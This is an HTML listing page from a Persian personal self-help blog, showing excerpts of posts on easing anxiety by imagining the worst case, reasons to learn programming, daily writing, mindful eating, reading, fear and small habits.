<p>در طول زمانهایی که مسئولیتهای کاری زیادی داشتم، ترس از عواقب کار و اضطراب ناشی از اینکه ممکنه اتفاق بدی رخ بده و یا اینکه به اون هدفی که داریم نرسم همیشه یکی از دغدغه های من بوده. مثلا ترس از بدهی و عدم توانایی در پرداخت اونها و یا مشکل در بخش فروش و خیلی چیزهای دیگه.</p>
<p>برای مقابله با این موضوع روشها و متدهای زیادی توسط افراد مختلف بیان شده که من بسیاری از اونها رو تجربه کرده بودم. اما در این بین یک متدی بود که خیلی به من کمک میکرد و باعث آرامشم میشد و حداقل اون حس ترس و اضطراب ناشی از اتفاقی که ممکن بود در آینده رخ بده رو کاهش میداد.</p>
<p> <a href="http://www.1tajrobe.com/%d8%aa%d8%b3%da%a9%db%8c%d9%86-%d8%af%d8%b1%d8%af-%d8%a8%d8%a7-%d8%aa%d8%b5%d9%88%d8%b1-%d8%a8%d8%af%d8%aa%d8%b1%db%8c%d9%86-%d8%ad%d8%a7%d9%84%d8%aa/#more-371" class="more-link">ادامه خواندن <span class="screen-reader-text">تسکین درد با تصور بدترین حالت!</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%d8%aa%d8%b3%da%a9%db%8c%d9%86-%d8%af%d8%b1%d8%af-%d8%a8%d8%a7-%d8%aa%d8%b5%d9%88%d8%b1-%d8%a8%d8%af%d8%aa%d8%b1%db%8c%d9%86-%d8%ad%d8%a7%d9%84%d8%aa/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۵/۱۲/۹ ۲۰:۴۶:۵۵">۰۹ اسفند ۹۵</time><time class="updated" datetime="۱۳۹۵/۱۲/۹ ۲۰:۴۶:۵۵">۰۹ اسفند ۹۵</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d8%a2%d8%b1%d8%a7%d9%85%d8%b4-%d8%b0%d9%87%d9%86/" rel="tag">آرامش ذهن</a>، <a href="http://www.1tajrobe.com/tag/%d8%aa%d8%b3%da%a9%db%8c%d9%86-%d8%af%d8%b1%d8%af/" rel="tag">تسکین درد</a>، <a href="http://www.1tajrobe.com/tag/%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d8%a8%d8%a7-%d8%a7%d8%b6%d8%b7%d8%b1%d8%a7%d8%a8/" rel="tag">مقابله با اضطراب</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%d8%aa%d8%b3%da%a9%db%8c%d9%86-%d8%af%d8%b1%d8%af-%d8%a8%d8%a7-%d8%aa%d8%b5%d9%88%d8%b1-%d8%a8%d8%af%d8%aa%d8%b1%db%8c%d9%86-%d8%ad%d8%a7%d9%84%d8%aa/#comments">۳ دیدگاه <span class="screen-reader-text">برای تسکین درد با تصور بدترین حالت!</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-329" class="post-329 post type-post status-publish format-standard hentry category-13 tag-139 tag-137 tag-138 tag-4">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/5-%d8%af%d9%84%db%8c%d9%84-%d8%a8%d8%b1%d8%a7%db%8c-%d8%a7%db%8c%d9%86%da%a9%d9%87-%d8%a8%d8%a7%db%8c%d8%af-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3-%d8%b4%d9%88%db%8c%d9%85%d8%9f/" rel="bookmark">۵ دلیل برای اینکه باید برنامه نویس شویم</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>چند روز پیش دقیقا نمی دونم چطور شد که یاد اولین خط کدهایی افتادم که تو زندگیم نوشتم و البته از همون موقع زندگیم تغییر کرد. از اون موقع حدود بیست و سه چهار سال میگذره و هنوز یادم هست چی نوشتم.  حالا داستان اینکه چی شد و چطور من اصلا وارد  دنیای برنامه نویسی کامپیوتر شدم خیلی مفصل هست و در اینجا نمیگنجد فقط باید بگم که ورود من بصورت کاملا اتفاقی و بدون هیچ پیش زمینه ای بود چون من دقیقا تا صبح روزی که اولین برنامه زندگیم را نوشتم (یا در واقع فقط تایپ کردم از روی دفتر بدون اینکه بدونم چی هست) و اجراش کردم و از شدت هیجان لرزیدم، کلا علاقه مند به الکترونیک بودم و در این زمینه هم کلی پیشرفت کرده بودم هرچند که اینها همه مربوط به دوازده سالگی من میشه.</p>
<p>خوب حالا اینها را گفتم که بگم من تا الان بیشتر عمرم را در دنیا برنامه نویسی سپری کردم البته چند سالی تو این زمینه کار نمیکردم ولی بازم برای خودم کدنویسی می کردم. و در حال حاضر فکر میکنم که باید برای گسترش این فن در جامعه خودم تلاش کنم.</p>
<p>امروزه در بسیاری از کشورهای پیشرفته آموزش برنامه نویسی به افراد مختلف جامعه را در برنامه کاری خودشون قرار داده اند. در کشور آمریکا چند وقت پیش حتی باراک اوباما گفته بود که همه باید اصول برنامه نویسی را یاد بگیرند. تعداد زیادی هم از افراد سرشناس از ورزشکاران تا هنرپیشه ها و بزرگان کسب و کار در آنجا هم در این مورد صحبت کرده اند و هم خودشان وارد این دنیای هیجان انگیز شده اند. <a href="http://www.1tajrobe.com/5-%d8%af%d9%84%db%8c%d9%84-%d8%a8%d8%b1%d8%a7%db%8c-%d8%a7%db%8c%d9%86%da%a9%d9%87-%d8%a8%d8%a7%db%8c%d8%af-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3-%d8%b4%d9%88%db%8c%d9%85%d8%9f/#more-329" class="more-link">ادامه خواندن <span class="screen-reader-text">۵ دلیل برای اینکه باید برنامه نویس شویم</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/5-%d8%af%d9%84%db%8c%d9%84-%d8%a8%d8%b1%d8%a7%db%8c-%d8%a7%db%8c%d9%86%da%a9%d9%87-%d8%a8%d8%a7%db%8c%d8%af-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3-%d8%b4%d9%88%db%8c%d9%85%d8%9f/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۵/۳/۲۰ ۱۹:۳۰:۴۱">۲۰ خرداد ۹۵</time><time class="updated" datetime="۱۳۹۵/۳/۲۰ ۱۹:۳۰:۴۱">۲۰ خرداد ۹۵</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/" rel="tag">آموزش برنامه نویسی</a>، <a href="http://www.1tajrobe.com/tag/%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/" rel="tag">برنامه نویسی</a>، <a href="http://www.1tajrobe.com/tag/%da%a9%d8%af%d9%86%d9%88%db%8c%d8%b3%db%8c/" rel="tag">کدنویسی</a>، <a href="http://www.1tajrobe.com/tag/%d9%85%d9%88%d9%81%d9%82%db%8c%d8%aa/" rel="tag">موفقیت</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/5-%d8%af%d9%84%db%8c%d9%84-%d8%a8%d8%b1%d8%a7%db%8c-%d8%a7%db%8c%d9%86%da%a9%d9%87-%d8%a8%d8%a7%db%8c%d8%af-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3-%d8%b4%d9%88%db%8c%d9%85%d8%9f/#comments">۶ دیدگاه <span class="screen-reader-text">برای ۵ دلیل برای اینکه باید برنامه نویس شویم</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-295" class="post-295 post type-post status-publish format-standard hentry category-13 tag-33 tag-15 tag-133 tag-134 tag-7 tag-132 tag-131">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d9%86%d9%88%d8%b4%d8%aa%d9%86-%d9%85%db%8c-%d8%aa%d9%88%d8%a7%d9%86%d8%af-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b1%d8%a7-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%af%d9%87%d8%af/" rel="bookmark">چگونه نوشتن می تواند زندگی را تغییر دهد؟</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>من الان شاید بیشتر از پنج سال هست که برای خودم می نویسم، و حدود دو سال هم میشه که اینکار را بصورت روزانه (یا بهتره بگم شبانه)  دارم انجام میدم.</p>
<p>نوشتن دارای انرژی ای هست که می‌تواند جریانات مفیدی را در زندگی ما به راه بندازه و حتی ممکنه مسیر زندگی ما را تغییر بده. در این زمینه هنریت کلاوسر هم یک کتاب خوبی نوشته که پیشنهاد میکنم حتما بخونید با نام<strong> &#8220;بنویس تا اتفاق بیفتد&#8221;. </strong></p>
<p>البته قبلا هم در مورد <a href="http://www.1tajrobe.com/%d8%ae%d8%a7%d9%84%db%8c-%da%a9%d8%b1%d8%af%d9%86-%d8%b0%d9%87%d9%86-%d8%aa%d9%86%d9%87%d8%a7-%d8%af%d8%b1-15-%d8%af%d9%82%db%8c%d9%82%d9%87-%d8%a7%d9%81%d8%b2%d8%a7%db%8c%d8%b4-%d9%82%d8%af%d8%b1/">نوشتن افکار روی کاغذ تجربه ای</a> رو نوشتم ولی اونجا بیشتر در موقعی از نوشتن استفاده میکردیم که ذهن شلوغی داشتیم و می خواستیم خالی کنیم. ولی تو تمرین نوشتن روزانه یا همیشه نوشتن علاوه بر اون خاصیت آروم و خلوت کردن ذهن مزیتهای دیگری هم وجود دارد که یکی از انها ثبت خاطرات و رخدادهای زندگی هست که شاید سالها بعد خوندشون خالی از لطف نباشه.</p>
<p> <a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d9%86%d9%88%d8%b4%d8%aa%d9%86-%d9%85%db%8c-%d8%aa%d9%88%d8%a7%d9%86%d8%af-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b1%d8%a7-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%af%d9%87%d8%af/#more-295" class="more-link">ادامه خواندن <span class="screen-reader-text">چگونه نوشتن می تواند زندگی را تغییر دهد؟</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d9%86%d9%88%d8%b4%d8%aa%d9%86-%d9%85%db%8c-%d8%aa%d9%88%d8%a7%d9%86%d8%af-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b1%d8%a7-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%af%d9%87%d8%af/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۵/۲/۲۹ ۹:۳۵:۰۷">۲۹ اردیبهشت ۹۵</time><time class="updated" datetime="۱۳۹۵/۲/۲۹ ۹:۳۵:۰۷">۲۹ اردیبهشت ۹۵</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d8%a2%d8%b1%d8%a7%d9%85%d8%b4-%d8%b0%d9%87%d9%86%db%8c/" rel="tag">آرامش ذهنی</a>، <a href="http://www.1tajrobe.com/tag/%d8%a2%d9%85%d9%88%d8%b2%d8%b4/" rel="tag">آموزش</a>، <a href="http://www.1tajrobe.com/tag/%d8%a7%d9%86%d8%b1%da%98%db%8c-%d9%85%d8%ab%d8%a8%d8%aa/" rel="tag">انرژی مثبت</a>، <a href="http://www.1tajrobe.com/tag/%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%b2%d9%86%d8%af%da%af%db%8c/" rel="tag">تغییر زندگی</a>، <a href="http://www.1tajrobe.com/tag/%d8%b1%d8%b3%db%8c%d8%af%d9%86-%d8%a8%d9%87-%d8%a7%d9%87%d8%af%d8%a7%d9%81/" rel="tag">رسیدن به اهداف</a>، <a href="http://www.1tajrobe.com/tag/%d9%86%d9%88%d8%b4%d8%aa%d9%86/" rel="tag">نوشتن</a>، <a href="http://www.1tajrobe.com/tag/%d9%86%d9%88%d8%b4%d8%aa%d9%86-%d8%b1%d9%88%d8%b2%d8%a7%d9%86%d9%87/" rel="tag">نوشتن روزانه</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d9%86%d9%88%d8%b4%d8%aa%d9%86-%d9%85%db%8c-%d8%aa%d9%88%d8%a7%d9%86%d8%af-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b1%d8%a7-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%af%d9%87%d8%af/#comments">۱ دیدگاه <span class="screen-reader-text">برای چگونه نوشتن می تواند زندگی را تغییر دهد؟</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-256" class="post-256 post type-post status-publish format-standard hentry category-13 tag-32 tag-34 tag-123 tag-124 tag-121 tag-126 tag-125 tag-122">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%ba%d8%b0%d8%a7-%d8%ae%d9%88%d8%b1%d8%af%d9%86-%d8%a8%db%8c%d8%b4%d8%aa%d8%b1%db%8c%d9%86-%d9%84%d8%b0%d8%aa-%d8%b1%d8%a7-%d8%a8%d8%a8%d8%b1%db%8c%d9%85/" rel="bookmark">چگونه از غذا خوردن بیشترین لذت را ببریم؟</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>دوست عزیز سلام،</p>
<p>خیلی وقتها میشه که بعد از خوردن بهترین و لذیذترین غذاها هم، اون لذتی که قبلش فکر میکنم باید ببرم رو نمیبرم و حتی گاهی اوقات بعد از اتمام غذا خوردن اصلا یادم نمیاد غذا چه مزه ای بوده!! شما هم حتما این را تا حالا داشتید.</p>
<p>در این تجربه عملی می خوام یک تمرینی رو بگم که خودم  مدتی هست روش کار کردم و خیلی کمکم کرده. با این تمرین از غذا خوردنم خیلی لذت میبرم حالا هر چیزی که باشه. قبلا در مورد اینکه باید سعی کنیم از تمام کارهایی که در حال انجامشون هستیم <a title="همیشه آگاه باش" href="http://www.1tajrobe.com/%d9%87%d9%85%db%8c%d8%b4%d9%87-%d8%a2%da%af%d8%a7%d9%87-%d8%a8%d8%a7%d8%b4/">آگاهی داشته باشیم</a> نوشتم. اینکه در حال انجام هرکاری که هستید سعی کنید روی همون کار فقط تمرکز داشته باشید. با اینکار می تونیم هم اون کار رو به بهترین حالت به اتمام برسونیم و هم اینکه از انجامش لذت ببریم.</p>
<p> <a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%ba%d8%b0%d8%a7-%d8%ae%d9%88%d8%b1%d8%af%d9%86-%d8%a8%db%8c%d8%b4%d8%aa%d8%b1%db%8c%d9%86-%d9%84%d8%b0%d8%aa-%d8%b1%d8%a7-%d8%a8%d8%a8%d8%b1%db%8c%d9%85/#more-256" class="more-link">ادامه خواندن <span class="screen-reader-text">چگونه از غذا خوردن بیشترین لذت را ببریم؟</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%ba%d8%b0%d8%a7-%d8%ae%d9%88%d8%b1%d8%af%d9%86-%d8%a8%db%8c%d8%b4%d8%aa%d8%b1%db%8c%d9%86-%d9%84%d8%b0%d8%aa-%d8%b1%d8%a7-%d8%a8%d8%a8%d8%b1%db%8c%d9%85/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۴/۲/۲۴ ۲۰:۰۹:۲۷">۲۴ اردیبهشت ۹۴</time><time class="updated" datetime="۱۳۹۴/۲/۲۴ ۲۰:۰۹:۲۷">۲۴ اردیبهشت ۹۴</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d8%a2%d8%b1%d8%a7%d9%85%d8%b4/" rel="tag">آرامش</a>، <a href="http://www.1tajrobe.com/tag/%d8%aa%d9%85%d8%b1%da%a9%d8%b2/" rel="tag">تمرکز</a>، <a href="http://www.1tajrobe.com/tag/%d8%b3%d8%a7%d9%84%d9%85-%d8%ae%d9%88%d8%b1%db%8c/" rel="tag">سالم خوری</a>، <a href="http://www.1tajrobe.com/tag/%d8%b4%d9%85%d8%b1%d8%af%d9%86-%d8%ac%d9%88%db%8c%d8%af%d9%86/" rel="tag">شمردن جویدن</a>، <a href="http://www.1tajrobe.com/tag/%d8%ba%d8%b0%d8%a7%d8%ae%d9%88%d8%b1%d8%af%d9%86/" rel="tag">غذاخوردن</a>، <a href="http://www.1tajrobe.com/tag/%da%a9%d8%a7%d9%87%d8%b4-%d9%88%d8%b2%d9%86/" rel="tag">کاهش وزن</a>، <a href="http://www.1tajrobe.com/tag/%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d9%be%d8%b1%d8%ae%d9%88%d8%b1%db%8c/" rel="tag">مقابله پرخوری</a>، <a href="http://www.1tajrobe.com/tag/%d9%87%d8%b6%d9%85-%d8%a8%d9%87%d8%aa%d8%b1-%d8%ba%d8%b0%d8%a7/" rel="tag">هضم بهتر غذا</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%ba%d8%b0%d8%a7-%d8%ae%d9%88%d8%b1%d8%af%d9%86-%d8%a8%db%8c%d8%b4%d8%aa%d8%b1%db%8c%d9%86-%d9%84%d8%b0%d8%aa-%d8%b1%d8%a7-%d8%a8%d8%a8%d8%b1%db%8c%d9%85/#comments">۹ دیدگاه <span class="screen-reader-text">برای چگونه از غذا خوردن بیشترین لذت را ببریم؟</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-244" class="post-244 post type-post status-publish format-standard hentry category-13 tag-120 tag-119 tag-118 tag-17">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%d8%a8%d8%ae%d9%88%d8%a7%d9%86%d8%8c-%d8%a7%da%af%d8%b1-%d8%ad%d8%aa%db%8c-%da%86%db%8c%d8%b2%db%8c-%d9%86%d9%85%db%8c-%d9%85%d8%a7%d9%86%d8%af/" rel="bookmark">بخوان، اگر حتی چیزی نمی ماند!</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>من از نوجوانی علاقه زیادی به مطالعه کردن کتابهای مختلف داشتم و حتی در برخی مواقع کتابهایی می خواندم که هیچی از اون نمی فهمیدم!</p>
<p>اما مدتی این عادت مطالعه کردن رو کنار گذاشتم. برای اینکه اینقدر درگیر کار و زندگی شده بودم که حتی اگر کتابی هم می خواندم بعد از مدتی حتی نام کتاب و یا نویسنده اون رو هم به یاد نداشتم. این مشکل بسیاری از شما هم ممکنه باشه.</p>
<p>اما چند سال پیش داستانی رو در یک سایتی خواندم (که الان یادم نیست کجا بود!!) که منو خیلی تکان داد و باعث شد که دوباره به مطالعه و خواندن کتابهای مختلف بپردازم. چون تمام داستان را یادم نیست نمی تونم ترجمه کامل اون رو براتون بیارم ولی فقط مطلب اصلی رو تا اونجایی که در ذهنم هست آوردم. <a href="http://www.1tajrobe.com/%d8%a8%d8%ae%d9%88%d8%a7%d9%86%d8%8c-%d8%a7%da%af%d8%b1-%d8%ad%d8%aa%db%8c-%da%86%db%8c%d8%b2%db%8c-%d9%86%d9%85%db%8c-%d9%85%d8%a7%d9%86%d8%af/#more-244" class="more-link">ادامه خواندن <span class="screen-reader-text">بخوان، اگر حتی چیزی نمی ماند!</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%d8%a8%d8%ae%d9%88%d8%a7%d9%86%d8%8c-%d8%a7%da%af%d8%b1-%d8%ad%d8%aa%db%8c-%da%86%db%8c%d8%b2%db%8c-%d9%86%d9%85%db%8c-%d9%85%d8%a7%d9%86%d8%af/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۴/۱/۳ ۲۲:۵۸:۲۱">۰۳ فروردین ۹۴</time><time class="updated" datetime="۱۳۹۴/۱/۳ ۲۲:۵۸:۲۱">۰۳ فروردین ۹۴</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d9%81%d9%88%d8%a7%db%8c%d8%af-%d9%85%d8%b7%d8%a7%d9%84%d8%b9%d9%87/" rel="tag">فواید مطالعه</a>، <a href="http://www.1tajrobe.com/tag/%da%a9%d8%aa%d8%a7%d8%a8-%d8%ae%d9%88%d8%a7%d9%86%d8%af%d9%86/" rel="tag">کتاب خواندن</a>، <a href="http://www.1tajrobe.com/tag/%da%a9%d8%aa%d8%a7%d8%a8%d8%ae%d9%88%d8%a7%d9%86%db%8c/" rel="tag">کتابخوانی</a>، <a href="http://www.1tajrobe.com/tag/%d9%85%d8%b7%d8%a7%d9%84%d8%b9%d9%87/" rel="tag">مطالعه</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%d8%a8%d8%ae%d9%88%d8%a7%d9%86%d8%8c-%d8%a7%da%af%d8%b1-%d8%ad%d8%aa%db%8c-%da%86%db%8c%d8%b2%db%8c-%d9%86%d9%85%db%8c-%d9%85%d8%a7%d9%86%d8%af/#comments">۱۴ دیدگاه <span class="screen-reader-text">برای بخوان، اگر حتی چیزی نمی ماند!</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-232" class="post-232 post type-post status-publish format-standard hentry category-13 tag-32 tag-115 tag-116 tag-64 tag-112 tag-113 tag-117 tag-114">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%d8%b1%db%8c%d8%b4%d9%87-%d8%aa%d9%85%d8%a7%d9%85%db%8c-%d9%85%d8%b4%da%a9%d9%84%d8%a7%d8%aa-%d9%85%d8%a7-%da%86%db%8c%d8%b3%d8%aa%d8%9f/" rel="bookmark">ریشه تمامی مشکلات ما چیست؟</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>من و شما دارای مشکلاتی هستیم در زندگی که گاهی اوقات تاثیرات زیادی در آرامش و سطح استرس ما میزاره. افراد زیادی به روشها و راههای گوناگون سعی در حل این مشکلات کرده اند و راهکارهایی هم برای افراد دیگر ارائه می کنند. اما به نظر من اول باید ریشه یابی کرد و دید که این مشکلات از کجا ناشی می شوند، بعد به دنبال راه حل گشت.</p>
<blockquote><p>اما ریشه تقریبا بسیاری از مشکلات ما یک چیز است: <strong>&#8220;ترس&#8221;</strong></p></blockquote>
<p>بله دوستان همه مشکلات ما از ترس ما ناشی میشه و اگر بتونیم ترس رو در خودمون کنترل کنیم خواهیم توانست بسیاری از مشکلات خود رو هم کنترل کنیم. <a href="http://www.1tajrobe.com/%d8%b1%db%8c%d8%b4%d9%87-%d8%aa%d9%85%d8%a7%d9%85%db%8c-%d9%85%d8%b4%da%a9%d9%84%d8%a7%d8%aa-%d9%85%d8%a7-%da%86%db%8c%d8%b3%d8%aa%d8%9f/#more-232" class="more-link">ادامه خواندن <span class="screen-reader-text">ریشه تمامی مشکلات ما چیست؟</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%d8%b1%db%8c%d8%b4%d9%87-%d8%aa%d9%85%d8%a7%d9%85%db%8c-%d9%85%d8%b4%da%a9%d9%84%d8%a7%d8%aa-%d9%85%d8%a7-%da%86%db%8c%d8%b3%d8%aa%d8%9f/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۳/۱۰/۸ ۲۱:۰۰:۱۲">۰۸ دی ۹۳</time><time class="updated" datetime="۱۳۹۳/۱۰/۸ ۲۱:۰۰:۱۲">۰۸ دی ۹۳</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d8%a2%d8%b1%d8%a7%d9%85%d8%b4/" rel="tag">آرامش</a>، <a href="http://www.1tajrobe.com/tag/%d8%a7%d8%b3%d8%aa%d8%b1%d8%b3/" rel="tag">استرس</a>، <a href="http://www.1tajrobe.com/tag/%d8%a8%d9%87-%d8%aa%d8%b9%d9%88%db%8c%d9%82-%d8%a7%d9%86%d8%af%d8%a7%d8%b2%db%8c/" rel="tag">به تعویق اندازی</a>، <a href="http://www.1tajrobe.com/tag/%d8%aa%d8%b1%d8%b3/" rel="tag">ترس</a>، <a href="http://www.1tajrobe.com/tag/%d8%b1%db%8c%d8%b4%d9%87-%d9%85%d8%b4%da%a9%d9%84%d8%a7%d8%aa/" rel="tag">ریشه مشکلات</a>، <a href="http://www.1tajrobe.com/tag/%d8%ba%d9%84%d8%a8%d9%87-%d8%a8%d8%b1-%d9%85%d8%b4%da%a9%d9%84%d8%a7%d8%aa/" rel="tag">غلبه بر مشکلات</a>، <a href="http://www.1tajrobe.com/tag/%d9%85%d8%b4%da%a9%d9%84-%d8%af%d8%b1-%d8%a7%d8%b1%d8%aa%d8%a8%d8%a7%d8%b7%d8%a7%d8%aa/" rel="tag">مشکل در ارتباطات</a>، <a href="http://www.1tajrobe.com/tag/%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d8%a8%d8%a7-%d8%aa%d8%b1%d8%b3/" rel="tag">مقابله با ترس</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%d8%b1%db%8c%d8%b4%d9%87-%d8%aa%d9%85%d8%a7%d9%85%db%8c-%d9%85%d8%b4%da%a9%d9%84%d8%a7%d8%aa-%d9%85%d8%a7-%da%86%db%8c%d8%b3%d8%aa%d8%9f/#comments">۱۶ دیدگاه <span class="screen-reader-text">برای ریشه تمامی مشکلات ما چیست؟</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-215" class="post-215 post type-post status-publish format-standard hentry category-13 tag-7 tag-109 tag-110 tag-111">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%d8%ae%d9%88%d8%b1%d8%af%d9%87-%d8%b9%d8%a7%d8%af%d8%aa%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9%d9%ac-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%a8%d8%b2%d8%b1%da%af-%d8%b2%d9%86%d8%af%da%af%db%8c/" rel="bookmark">خورده عادتها: عادتهای کوچکتر، نتایج بزرگتر</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>قبلا هم گفته بودم که <a title="می خوای انجامش بدی؟ پس کوچیکش کن!" href="http://www.1tajrobe.com/%d9%85%db%8c-%d8%ae%d9%88%d8%a7%db%8c-%d8%a7%d9%86%d8%ac%d8%a7%d9%85%d8%b4-%d8%a8%d8%af%db%8c%d8%9f-%d9%be%d8%b3-%da%a9%d9%88%da%86%db%8c%da%a9%d8%b4-%da%a9%d9%86/" target="_blank">اگر می خواهی کاری را انجام دهی باید اون کار رو کوچک کنی</a>. اما در این تجربه می خوام بگم که در واقع باید انقدر کوچک کرد که دیگه هیچ بهانه ای برای انجام ندادنش نداشته باشی.</p>
<p>من همیشه یکی از بزرگترین مشکلاتم در ایجاد یک عادت و یا شروع یک کار جدید در واقع همون شروعش و یا اولین گام بوده. اگر شما هم ایده های زیادی دارید و یا می دونید که اگر یک کاری رو در زندگی انجام بدین می تونه نتایج بزرگی براتون داشته باشه ولی هیچ وقت اون کار رو شروع نکردید نگران نباشید این یکی از خصوصیات انسان هست که از تغییر وضعیت فعلی خودش بیزاره و تا می تونه در برابر تغییر مقاومت میکنه.</p>
